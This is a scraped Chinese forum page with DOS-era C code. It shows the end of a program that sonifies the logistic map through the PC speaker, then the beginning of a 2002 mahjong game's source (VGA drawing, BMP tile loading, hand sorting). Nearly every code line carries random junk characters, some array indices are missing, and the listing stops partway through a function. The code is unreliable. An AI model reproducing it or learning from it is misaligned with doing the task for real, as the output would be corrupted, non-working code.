  scanf("%f",&k);
9 V" g- f$ ~3 w& {# i' V$ X  if (k==0) break;
1 Y5 T$ _: z  I- W/ W/ n0 y  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
0 g+ Q1 y0 y1 Q4 }8 c1 Q! q% D9 a- {  x=k*x*(1-x);8 N6 c$ O) n8 l, `0 H
  for (i=1;i&lt;100;i++){* |) h: Y  A0 I3 I) B% \! [
  x=k*x*(1-x); /*计算x的值*/
9 G- d4 s' W# t; z  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
0 ^1 A% D; \9 |  delay(1000); }
8 }$ w: h. f: ~, u- ?8 ^4 ?  nosound(); }}+ A+ I1 ~# _# d% a0 T) y. F1 r3 a4 I
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。: c8 N2 i- q* q6 g/ ]8 K+ J
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
0 M5 x* k1 A+ ~" |. a8 @/*天宇软件
2 a( M6 a& E, C/ A作者:上海黑暗之龙$ ?& k4 P. c1 \5 F2 Z
2002/10/30
" u' @2 q' o- ^6 Z! \" e: o* D$ d  _+ g麻将原代码*/( N8 a  v6 j# k0 e8 `
#include "dos.h"2 V) `5 x, ]& r3 P& O
#include "stdio.h"
' D! T, T& i; V& I0 x#include "graphics.h"9 t$ R+ e: x* H! Y- X  |
#include "bios.h": [. p# J; s3 Q$ t* u$ _
#include "conio.h", h/ \' ]4 }8 i9 G5 p
#include "stdlib.h"
" i" S5 K6 v+ }4 }! Uunsigned char far *video_buffer=(char far *)0xA0000000L;
. S$ H  z) E- v; b: ^  J' S9 k#define VGA256 0x13 /*图形模式13h*/: G; l1 J! u) P0 ?
#define TEXT_MODE 0x03 /*普通文本模式*/
  M9 x- O! k( }#define SETVGA Set_Video_Mode(VGA256)
# E8 r+ A( L& n8 q* T2 b#define OUTVGA Set_Video_Mode(TEXT_MODE)
& L, u$ N- h1 x6 B- \6 R# p' B& ?#define BYTE unsigned char
2 |1 [) @2 N, ]' X2 V# Y) a#define WORD unsigned int
  v$ e# ^; {  D* `4 h5 o' n#define DWORD unsigned int
+ {, s; o& A5 W/ }( P#define ESC 283# ~: b: x! v6 N, E; z
#define LEFT 19200
" R. C0 M. w. z5 t#define RIGHT 19712$ D0 B* J6 g5 d# _7 T
#define H 9064
5 |- [/ n. @) V* S4 c! V#define ENTER 7181
5 V+ ]! p- t% c; n4 xunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
1 r' O$ R- g5 G  j; Q5 H& Hint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
8 }1 P* B, W7 @4 s; X3 _# [! Tstruct chi* d- E" D9 D1 B* O4 q5 l$ a
{( j+ H5 s; C$ Z! I
int lg;
8 ~5 G( I( n# b/ Fint lgg;
" X8 O' _# ?$ A- n& J0 q}ch[13];# m. Y8 A' p$ _4 {6 D1 b% R6 D
struct mj
6 S  l  m0 k  g3 }{ char *name; /*名字*// c3 X* Z$ X+ U& o" \, K( r4 O; ]
int data1; /*是否已出,无用了*/
* i: d6 j: n# nint data2; /*是否在手中,1为自己,2为对方*/
& |  R7 A/ b" A& Z4 t8 Z( p$ jint number; /*同一个花色的第几张,共4张*/. h7 L7 L# c' j) `4 Z
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,( m' e1 g# b+ w5 I
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
; O) @6 c9 L! v) D* N. V7 G: W! ?"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,6 p9 I; L% x  i% q
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
  i# F) S3 s$ Y" _6 [0 f"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
5 n7 i, O" L! Z"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
7 G$ ]& N2 w8 c( k$ K/ t9 y% ^"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
* B4 k, f4 P# ~; u# d, B"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,& u3 w+ C( z$ g
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,5 o9 n- D3 A! j! f  Z% S7 P3 F
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
3 c" Q7 o- Y! o5 D"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
% A/ A, A6 ^) s1 U9 k3 P# m$ y"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
3 p+ }( D3 D+ J- u* s' f& y  l"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,* {( [, U2 U9 Z" ~) j; g+ i9 [/ O/ X
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
1 l! ]% Y3 F1 T0 X"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
; p* T; l' Q8 A1 K"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
$ h" m- s  ~$ ?, K$ R+ @"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,- c4 k" N2 y! |! e% a
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,: f! [( J) Q( t4 B3 \& T
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,* z. h4 ]( l- T: {
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
. a% p3 i# Z. ?% |) d"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
1 ~. t5 k% p! a# F"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
; n! n; j/ Q7 N8 m"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
4 V( {: f3 d! \7 C" F2 X! Y4 Y: S"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,# M1 N" `. B4 s7 C) C% ~' n9 \5 [
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,- i+ [6 f- Q; ~8 Y$ {1 {
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
$ e$ A6 o. v2 A"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,7 D: z% E* A7 g8 Y5 f7 B" I- t# S, O
"34.bmp"};+ J/ i8 }; M" T$ v2 i
struct every
5 d  g+ B" v4 t/ q7 l0 t+ f; H{ int *k; /*名字*/! _8 D( D- `( [* z, r0 U9 w5 [
int oneorfour; /*同一张牌的第几张*/  M, a  E, w$ I0 c) i2 d! u
int number; /*第几张牌136*/7 F; q* c7 {$ L% Y+ \
int p;: X4 x: f6 O3 ]$ ]3 e, h7 ~) F
int g;
' Q3 a& W& a* c1 U; s# c  j. Xint c;: A( J5 @. l& K* l8 m. H6 G) O+ b' @. g
int d[2];
8 O& Y/ j0 y- q4 P) b2 K};
" k! ^! P4 A/ f% ?: k3 ~struct me8 K: S: B; F) i7 J
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/- o0 J( v6 l5 p  M& E
int p; /*乓对方*/
* l* u$ L7 r7 u- Y" B. o1 S9 i) Nint c; /*吃对方*/
9 V  Q( ]$ Z- ?2 B0 o5 Yint g; /*杠*/) _  k& T7 w! t& K
! z! S$ w9 `0 j, g# Z! \; N
struct every pp[14]; /*存放手上的牌*/
( \0 R$ |" G5 p6 q6 d2 v}me;% N# [: c* F/ G' f  n5 r
struct computer
3 c3 P- S$ {7 U) A{ int m;
: w# `( t# L8 F) [2 c) W  S% Yint p;
7 H5 Z" f! T) S6 [int c;
% s9 C; J; [) t" C0 Y+ F* s+ Q1 vint g;  O: L9 U& t+ l2 d" k
struct every pp[14];
! k* e+ t( J9 c* c& ?}computer,comp;! I% t$ n# g% k0 P0 M+ ], m
. s" w: D6 _% t/ q- V' t! t
/* 设置调色板 */0 ^: S; Y: E9 A6 o
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)  K* |* n* |- e* o  |
{, Y. i4 n- D0 w) ~
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
# g; K# j+ V" Z2 Boutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/" ]1 j1 @5 i$ `1 {
outportb(0x3c9,g);
+ u" w; R3 C* l8 J" {outportb(0x3c9,b);
1 p$ l: w7 x- a$ i" o) I8 O}/ K% p0 u+ w# X% |' C) D1 R/ ?8 }
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/3 B2 v+ N% [) N- b. v2 W
/* 设置显示模式的函数 */
0 q" `! M( n' ?# b& {5 ~void Set_Video_Mode(int mode)
& H" ~; t" b- \- ~. s7 m. t0 l{) A: L( |' ^5 P, a8 L# f' ^
union REGS inregs,outregs; /*定义输入和返回寄存器*/, V  Q4 j& @" v1 C
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
; s8 J* G% O& Winregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
1 ]4 v' K& D6 C7 C1 uint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*// m+ h! I. a1 H- @8 U4 O
}
  n# ]! [/ @2 o5 [* }6 Mvoid v_line(int y0,int y1,int x,unsigned int color)
6 }* E( _# v& M2 l" N+ p{ unsigned int address,n,temp;  w- o' @; d8 e  n/ ]4 D/ _2 a
if(y0&gt;y1)
8 z" v. v0 [: V+ t{
" l' ?2 I; L% X: F0 C9 u6 _( O7 Itemp=y1;
  u. Y! N6 _# G( N. ey1=y0;
- E7 M" y' ?9 {y0=temp;# b3 V! q, Q9 F4 V" [
}
6 _/ }; w- Q4 v$ Haddress=320*y0+x;
) |9 o* Q' S/ C  }% y0 \5 hfor(n=0;n&lt;=y1-y0;n++)* z# W; \5 P, _
{3 Y4 \9 H$ F2 D; x6 P
video_buffer[address]=color;
$ Y" [4 O+ {0 [+ Naddress+=320;  l: C2 M6 y* E2 U% o5 [. r
}' l& ]: d/ a; `0 g5 j% t$ H' a# K
}
2 x; B: n1 m( o4 S! K( ivoid h_line(int x0,int x1,int y,unsigned int color)1 {! s# d4 Y4 l9 ^( F7 s
{ unsigned int address,n,temp;4 S- I- {3 Z% N: |9 m. C% \7 v
if(x0&gt;x1)
* f2 [8 S5 S/ {- g  H- j/ b) Q- l{) J% X5 i# Z) Y8 w* {2 ]( s. p- u
temp=x1;
1 b' g0 @4 g/ Nx1=x0;
, b3 E1 h- a6 _5 a  l4 Q: }x0=temp;- m, J- P, e4 W  }0 m$ y5 g/ f
}
) b2 T/ q! ?8 c" Z1 p+ U! g6 f0 O. oaddress=320*y+x0;( v5 [" S% m+ O4 q0 \
for(n=0;n&lt;=x1-x0;n++)
5 U5 P; R1 `) C: \/ i: G0 N/ {: Y{
# @( f6 }6 ~# b* F8 R" pvideo_buffer[address]=color;! p1 ~0 R6 P& O0 a' J6 {, C
address+=1;& u$ k5 e: w! G6 ?- v" N
}
* @0 m  X$ |1 K- Z1 F7 H}9 }( m) o/ ]( M0 `. K2 F) H5 Z7 ?  Y
void p_pixel(int x,int y,unsigned int color)
6 D/ W6 b* h* v7 V{ video_buffer[y*320+x]=color;, t9 l# n. V1 h, p0 y: ^
}" x9 e# `* C1 y8 n  y
void s_square(int x,int y,int side,int color)
$ P) }. T7 ]: W% \: v( f  w{( X: h' E2 S8 k$ e( g) L+ k
h_line(x,x+side,y,color);
; ?. M; L% C& j! Uh_line(x,x+side,y+side,color);
0 J% C/ B- A+ {$ {6 ?+ L, wv_line(y,y+side,x,color);
0 S3 z: d$ O4 c2 C, X9 T  Yv_line(y,y+side,x+side,color);5 {) X: ~; s, I" ~. X
}
( C0 a* w/ F  s$ r9 A$ |% F* Qvoid r_rectangle(int x1,int y1,int x2,int y2,int color)  z: F9 M7 i2 Z
{
" p: O: T( p& o5 A8 U* d/ O. Lh_line(x1,x2,y1,color);) h% z' D6 O1 I- L  [3 b
h_line(x1,x2,y2,color);
& v: @  ]% P  h% L. C3 t; _( q8 ^v_line(y1,y2,x1,color);
: ~2 Q9 h# u' S0 F3 A5 C" d' ev_line(y1,y2,x2,color);" A6 i! n# M* r! r& W1 k. W
}
4 e! |) M5 H7 c. s: z7 k: Pvoid fillRectangle(int x1,int y1,int x2,int y2,int color)
: b6 l& s. x8 A* _) I3 n% Y( b{0 m+ q0 [7 W" h4 O  T' _8 \
int i;7 d) I- ?; e' j  F: p; M8 o/ @" v- j
for(i=y1;i&lt;=y2;i++): ]! \+ p0 F1 P  O9 Z- g
{  C7 U, c) t6 D" R, f2 m( m
h_line(x1,x2,i,color);
) ]- M" ]3 H8 Y5 _; _. o, H0 X}" c' L. {: A( X+ U/ h1 c+ x
}2 p1 t6 H4 W( d# _1 [
void showbmp(int l)! V& E& f/ |9 Z7 m
{ FILE *bmp;
9 P, c0 [! `  t( r' y4 Rint i,x,y;/ e$ z" F: x/ q  H$ j
BYTE palette[256][3];
4 R9 f* M1 U' Zbmp=fopen(me.pp[l].k,"rb");
: ~8 L  r* \. \: J9 hfseek(bmp,54,SEEK_SET);' q( d/ `& ^- m. q$ o- ?
for(i=0;i&lt;256;i++)
# q- O" U' i0 u' s( _# ~4 ?{2 g1 W" |$ s/ F! k+ T9 L( i
palette[2]=fgetc(bmp)&gt;&gt;2;1 {, o2 M8 `. P
palette[1]=fgetc(bmp)&gt;&gt;2;
" m+ x, c5 [$ R% v0 ^" n. Spalette[0]=fgetc(bmp)&gt;&gt;2;
7 D* V) T. r  w1 t/ ^$ m% C3 Efgetc(bmp);; \% l* d  t8 O
Set_Palette(i,palette[0],palette[1],palette[2]);
7 B! Y4 s* V; i* v}' J% f; C3 p2 |1 H  k
for (y=0;y&lt;30;y++)
$ T/ o* V- v# v( [for(x=0;x&lt;20;x++)
: _4 u; _7 d- Hpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));4 j0 ]5 v# R7 N4 T
fclose(bmp);7 t  `  \6 e0 o2 s) D
}* }  l, `1 `) H
void showbmpd(int l)
$ k: h7 J6 u, B5 Y/ t: b/ T% ?( A9 ?{ FILE *bmp;
; [% C( _5 [8 jint i,x,y;
. F5 d) \# o2 ?* [2 {& k/ E  zBYTE palette[256][3];
) q. g5 x. p  z' rbmp=fopen(me.pp[l].k,"rb");3 x4 f9 e  _  D& l
fseek(bmp,54,SEEK_SET);# l6 D$ ^6 P8 Z8 K4 }5 v- u" N  f
for(i=0;i&lt;256;i++)
9 d  d2 x0 U! h+ u5 V7 r{
* ^! Z5 c2 V6 b2 [# Wpalette[2]=fgetc(bmp)&gt;&gt;2;
7 K7 Y1 Z+ m- u" V+ U4 p/ a( lpalette[1]=fgetc(bmp)&gt;&gt;2;* t, @/ R6 P! ^2 }$ f4 F# V
palette[0]=fgetc(bmp)&gt;&gt;2;. k$ \/ r  f1 D7 ?7 w* h9 ^
fgetc(bmp);
& W7 ?! N" B8 t; L5 bSet_Palette(i,palette[0],palette[1],palette[2]);# m/ v* j" r& f, a3 A" `- h
}
! Z* k1 k8 O$ q3 m$ c' mfor (y=0;y&lt;30;y++)
4 V( o- `, p+ F3 |6 W  \7 J# ?for(x=0;x&lt;20;x++)5 v) ^4 H. e* t  p: U9 S& r
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));1 V) ]5 G! p8 b1 N$ w
fclose(bmp);
8 F0 {0 d4 V5 A5 l+ q5 [}4 o6 S0 h4 k: h* B, y- M8 m
void showybmp(int ll)& _; o/ R* v% `' l) \  x
{ FILE *bmp;
: U! K- `, c# p  E& Sint i,x,y;! d/ `0 N. P+ \
BYTE palette[256][3];
; L/ D* i* @! c+ L' bbmp=fopen(computer.pp[ll].k,"rb");7 C; l6 @; w- M: ^9 E% Z$ U
fseek(bmp,54,SEEK_SET);
2 h) p9 |' k% n% r# T$ ]for(i=0;i&lt;256;i++)8 W  o( o8 y. k( ?# S  Q# s0 Q
{3 d; V5 s5 q6 m4 X1 K" C
palette[2]=fgetc(bmp)&gt;&gt;2;
) ]* y3 n4 q6 z% E) I+ upalette[1]=fgetc(bmp)&gt;&gt;2;8 `& U1 d6 Q& F6 B
palette[0]=fgetc(bmp)&gt;&gt;2;% t2 j6 N5 A0 v7 O
fgetc(bmp);2 j# }$ G) o1 Z0 e! }6 o2 Q* g5 a
Set_Palette(i,palette[0],palette[1],palette[2]);
% R4 a4 V! n5 Z+ S}
) Q. {1 @3 |" m) ]/ K" Z/ G' P; Rfor (y=0;y&lt;30;y++)
  H2 D$ A. I" J5 @$ ]! P) X; A2 Mfor(x=0;x&lt;20;x++)
  N8 a0 ?) }) I# p. N; hpokeb(0xa000,y*320+x+zy,fgetc(bmp));
2 W$ E6 s( a7 @( Ifclose(bmp);* H( x; e! X, F5 x; a
}
8 N2 p+ N. U' e7 ]4 \) rvoid showcbmp(int ll)
8 y7 Z: h. ?, d1 Z{ FILE *bmp;
) q* e4 _+ \5 Z# W. pint i,x,y;
9 f+ J" U5 S4 ~; mBYTE palette[256][3];* u4 u3 S3 W) l9 Q# g
bmp=fopen(computer.pp[ll].k,"rb");+ p( P- t. a! T- k
fseek(bmp,54,SEEK_SET);3 T2 m! P' k- ~, H( W
for(i=0;i&lt;256;i++)
5 a7 J5 C: |1 x{
+ M; j; v8 a& u) g$ d6 N& r: D; t# Ppalette[2]=fgetc(bmp)&gt;&gt;2;' v" @1 ]( T8 Y# i
palette[1]=fgetc(bmp)&gt;&gt;2;
( R/ r6 a" L- B' Y/ A" f* X( npalette[0]=fgetc(bmp)&gt;&gt;2;
7 E; C+ q! q9 q. B+ hfgetc(bmp);( O. w( b/ Q. F* i
Set_Palette(i,palette[0],palette[1],palette[2]);
  q) [! x, m: w# Y- o}
4 C* e- A& H% E, q/ u" i+ ~for (y=0;y&lt;30;y++)  ~$ h2 N* G3 I0 T8 v
for(x=0;x&lt;20;x++)( c$ n( i9 W. D5 k( n
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));; O! j) w; W* P& p$ M
fclose(bmp);
- P% u* d: r4 T6 X8 w% A}
5 K+ S8 I3 O/ @* bvoid bmpp(int number)
( ~4 ], `" h6 ]1 y4 T1 B6 \0 n{ FILE *bmp;) s. P; Z- [0 b% c! V! K. t$ @
int i,x,y;7 I4 C1 ]& {- r% b
BYTE palette[256][3];/ f, b( {1 H3 m/ Z1 r
bmp=fopen(m[number].name,"rb");/ B$ u+ j, |+ b1 R3 }
fseek(bmp,54,SEEK_SET);
& S6 f+ l( w( ]+ C0 P- Wfor(i=0;i&lt;256;i++)
: Q: J$ g* Z+ l4 d{
# |3 W2 p+ c" h' Spalette[2]=fgetc(bmp)&gt;&gt;2;
6 y& P0 N8 U! @6 P) rpalette[1]=fgetc(bmp)&gt;&gt;2;. u: G2 n4 t3 q: j2 p
palette[0]=fgetc(bmp)&gt;&gt;2;8 P  B+ ~& X5 C8 {: k
fgetc(bmp);
) G5 ?/ x7 ]: {2 VSet_Palette(i,palette[0],palette[1],palette[2]);
1 A. r1 n  I' R}
6 I* c2 ]; w+ v+ V" ]7 F# V5 Bfor (y=0;y&lt;30;y++). Z! `  _' a7 q
for(x=0;x&lt;20;x++)
0 _3 ?1 @6 n& E" i3 d# g$ Hpokeb(0xa000,y*320+x+zl,fgetc(bmp));2 J! _  c" ?  Y
fclose(bmp);
4 P) F4 k/ v  m}( s6 D" l* ^! P2 j1 u
void comlipai() /*整理电脑的牌*/9 G9 M( e6 g2 Z. }
{ int n,j,u;
8 p* j+ u. R' W& rint *lingshi;5 F' g1 P8 f% v
for(n=0;n&lt;computer.m;n++)9 m. G; o! q& d6 [# B# M
for(j=n;j&lt;computer.m;j++)9 B2 R7 g5 _. M' s
{
% A3 e# O& n7 y+ y. z' F; K+ qif(computer.pp[n].number&gt;computer.pp[j+1].number)5 t0 T, R& b! b
{! B  f) L) F1 d" y0 x
lingshi=computer.pp[n].k;
% s  j2 R, y  c$ Hcomputer.pp[n].k=computer.pp[j+1].k;
) V4 A& Q. a1 |. Y% Icomputer.pp[j+1].k=lingshi;8 Y' [3 i; `+ b% ~3 J
u=computer.pp[n].oneorfour;$ o, i% i* G( X3 T0 }  B7 h( B
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;5 s3 B3 {( r% L9 e
computer.pp[j+1].oneorfour=u;
. T- c! _; g' g5 }4 |" I8 Uu=computer.pp[n].number;, q& b7 H$ W; w' S8 \
computer.pp[n].number=computer.pp[j+1].number;. c6 Y7 m- a- ~) E( x
computer.pp[j+1].number=u;
6 M# c6 ~% \* q0 m9 ], }3 P}8 o: Z; q$ F9 w" M
else
7 N% b2 n+ q' C" p1 gif(computer.pp[n].number==computer.pp[j+1].number)3 ?/ {6 C" r- ^& e5 l
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour), f2 [+ B: x9 N1 b( d. ^6 c
{
5 \/ a5 p1 \% S7 Llingshi=computer.pp[n].k;
# C+ f/ H  a* f- Ucomputer.pp[n].k=computer.pp[j+1].k;
7 o8 ?0 m, T, i; b* C3 mcomputer.pp[j+1].k=lingshi;0 R. Y; W" w& [# J0 c% A
u=computer.pp[n].oneorfour;, z. ]2 E* |1 e4 W9 k# Y
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;& D( v7 S% ~2 L! m
computer.pp[j+1].oneorfour=u;
3 A6 c& c6 G) {) c6 ~u=computer.pp[n].number;
0 O' G* w2 C* Ycomputer.pp[n].number=computer.pp[j+1].number;
+ J$ ]( r5 H; U8 m- Gcomputer.pp[j+1].number=u;
) ^, H0 f. m( s" o. Z7 M' P3 P}* [! x' a, o2 A) F' Q/ r/ ]  x
}
& i8 R% k& A" z- p}
+ H4 r  M8 r8 g' w8 w, e: L1 l& {void melipai()
* a) s' Z" r; v# i9 P{ int n,j,u;
+ X# }$ B: M4 p6 B4 L0 Z) z% gint *lingshi;
2 X5 U7 m9 H5 efor(n=0;n&lt;me.m;n++)
- M% f' _8 b3 r8 d( zfor(j=n;j&lt;me.m;j++)8 w* p& d0 p3 k* g0 B0 g' f
{) z0 S% y& S- p. s. y; ^
if(me.pp[n].number&gt;me.pp[j+1].number)
9 d7 T& g. D6 E1 @! T7 [! c{. C4 x. u- ^! T9 D
lingshi=me.pp[n].k;) ~! c' ?! H! K" Y4 p9 R
me.pp[n].k=me.pp[j+1].k;  P% M4 Q7 U% F' K3 t, w( o! ]
me.pp[j+1].k=lingshi;
$ w, z9 p; `& r3 O( i! cu=me.pp[n].oneorfour;
  \# c4 i! T( Q1 Z4 f; Q9 |0 ame.pp[n].oneorfour=me.pp[j+1].oneorfour;
% Q9 S  k  `* k* G" y, ~8 @7 y9 Cme.pp[j+1].oneorfour=u;/ W4 p4 u- i9 R* A# j
u=me.pp[n].number;
( M, T6 z1 Q0 F# M3 |me.pp[n].number=me.pp[j+1].number;8 K/ ]5 j  W/ A
me.pp[j+1].number=u;0 a7 Y, |2 {* s) R; c& R
}
4 _2 M- o. T1 [8 D* ?else
6 \, C7 Q3 F* U7 R- z, f1 `if(me.pp[n].number==me.pp[j+1].number)
  k2 O3 J! P% Z3 c3 A# x9 Gif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
( T; k8 y! h8 Q. M{
) ?5 w% L9 t: m9 D5 m7 Mlingshi=me.pp[n].k;
! C: b% r' w' T% \, ume.pp[n].k=me.pp[j+1].k;
5 a& i; `+ |7 Z& X- t$ I' Mme.pp[j+1].k=lingshi;! g& u+ Y! Y+ g: W- g  u4 Y
u=me.pp[n].oneorfour;
: K9 f- g2 _# t2 w/ pme.pp[n].oneorfour=me.pp[j+1].oneorfour;" y+ y. y* p5 {+ ?5 F* S
me.pp[j+1].oneorfour=u;7 ?8 B# t  b1 ^2 {1 z! k
u=me.pp[n].number;
: ?' g5 f- S7 q: M/ g" D2 Jme.pp[n].number=me.pp[j+1].number;  }8 X6 t$ f& O. N3 T% S, _; M5 e
me.pp[j+1].number=u;$ j0 |  r" a) h; i  I5 w. f
}. ?0 C0 F4 K0 h
}3 @/ Z& y2 |1 L4 t4 ]$ g& U
}
+ t$ O- o2 W* K5 [- @+ \void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
! k% m; x: n' P, \' T6 |$ h8 P/ Q* e6 G{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;' o$ ?: ]& L2 f, Y/ Q$ U2 H
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
+ E% I/ Y+ G2 E1 s5 a{" `" Z$ n& w5 b$ s- ^5 ~% v
logo=1;$ Q; `4 ^& o* R! }  E3 m  Z5 B% @
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
; O7 ~7 Z/ X* C* ^, hlogoo=1;
, g% x. ]+ K( ]$ m5 a5 velse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)6 k  ~. e: `3 t! v
logoo=2;9 d' z- j9 n7 ^" P4 O
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
' I6 x) c8 n( [logoo=3;
$ x. I0 U( g) j8 A" Z; relse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)/ H- Q( N# p) \. Z1 C7 [2 H
logoo=4;
& a7 E1 y5 ~3 H! z0 Kelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)  ?3 [2 v' z$ ?, B  k5 t& v
logoo=5;0 i# ]( u& P0 E; l5 Z. |
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
8 O# p$ j8 O+ v/ U  Qlogoo=6;' R1 B. M; k' c! M, U, a
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)( C6 h* D2 c" o/ t. R
logoo=7;
0 s( n9 D; Q/ m- U5 Z9 m" f, y# uelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
0 T* X  T% A0 l# q; j5 \logoo=8;
: A, |! M: J3 B4 ielse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
/ I9 r! s" T6 |% B2 ologoo=9;
- x  j& |9 w4 y}' x7 {- p) d, T/ L
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)7 x) z8 M+ \$ G. e8 y" S
{
3 g% K" F; |( S7 a* u) S& N6 Tlogo=2;( X, ?2 D! J6 _* Q
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)1 D! P) p3 {; q6 Q
logoo=1;/ L8 H4 d' Q) J3 {. H# N* q* V. F
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)6 }5 m9 O" a8 j1 X. t' X" h& ~
logoo=2;
# c2 S. V$ o. _0 helse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)4 X' j! w) ~+ j/ e. @7 T' J
logoo=3;2 X% m) Z7 R$ i6 q
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
: I' e; P( I' k+ Zlogoo=4;
# m4 M6 s( H! ^+ H; h$ W* }else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
) d; ]7 t6 ]3 j7 y* h; r% slogoo=5;
3 b) J' T/ ]- o: X3 U% x, ~# k$ J8 Celse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
  l, c2 P" @0 g( clogoo=6;
